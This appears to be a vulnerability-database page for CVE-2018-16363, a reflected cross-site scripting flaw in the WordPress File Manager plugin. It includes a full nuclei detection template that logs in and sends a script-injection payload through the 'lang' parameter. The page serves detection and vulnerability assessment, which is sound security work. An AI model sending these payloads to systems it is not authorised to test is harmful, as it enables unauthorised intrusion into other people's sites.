HexBrain

Browse / CVEs / CVE-2018-16363

CVE-2018-16363

WordPress File Manager < 3.0 - Cross-Site Scripting

mediumseverity
1.4%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it

WordPress File Manager plugin before 3.0 is vulnerable to authenticated reflected cross-site scripting (XSS) via the lang parameter in the admin dashboard. The parameter is directly echoed into a JavaScript context without proper sanitization.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=wp_file_manager&lang=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains_all(body, "</script><script>alert(document.domain)</script>", "var fmlang", "wp-file-manager") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2018-16363 -u <target>

The full check
id: CVE-2018-16363

info:
  name: WordPress File Manager < 3.0 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    WordPress File Manager plugin before 3.0 is vulnerable to authenticated reflected cross-site scripting (XSS) via the lang parameter in the admin dashboard. The parameter is directly echoed into a JavaScript context without proper sanitization.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16363
    - https://wpscan.com/vulnerability/65e4849b-6517-400d-884f-65234f58ab0c/
    - https://plugins.trac.wordpress.org/changeset/1936043
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16363
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2018,xss,wp-file-manager,wordpress,wp,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wp_file_manager&lang=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "</script><script>alert(document.domain)</script>", "var fmlang", "wp-file-manager")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from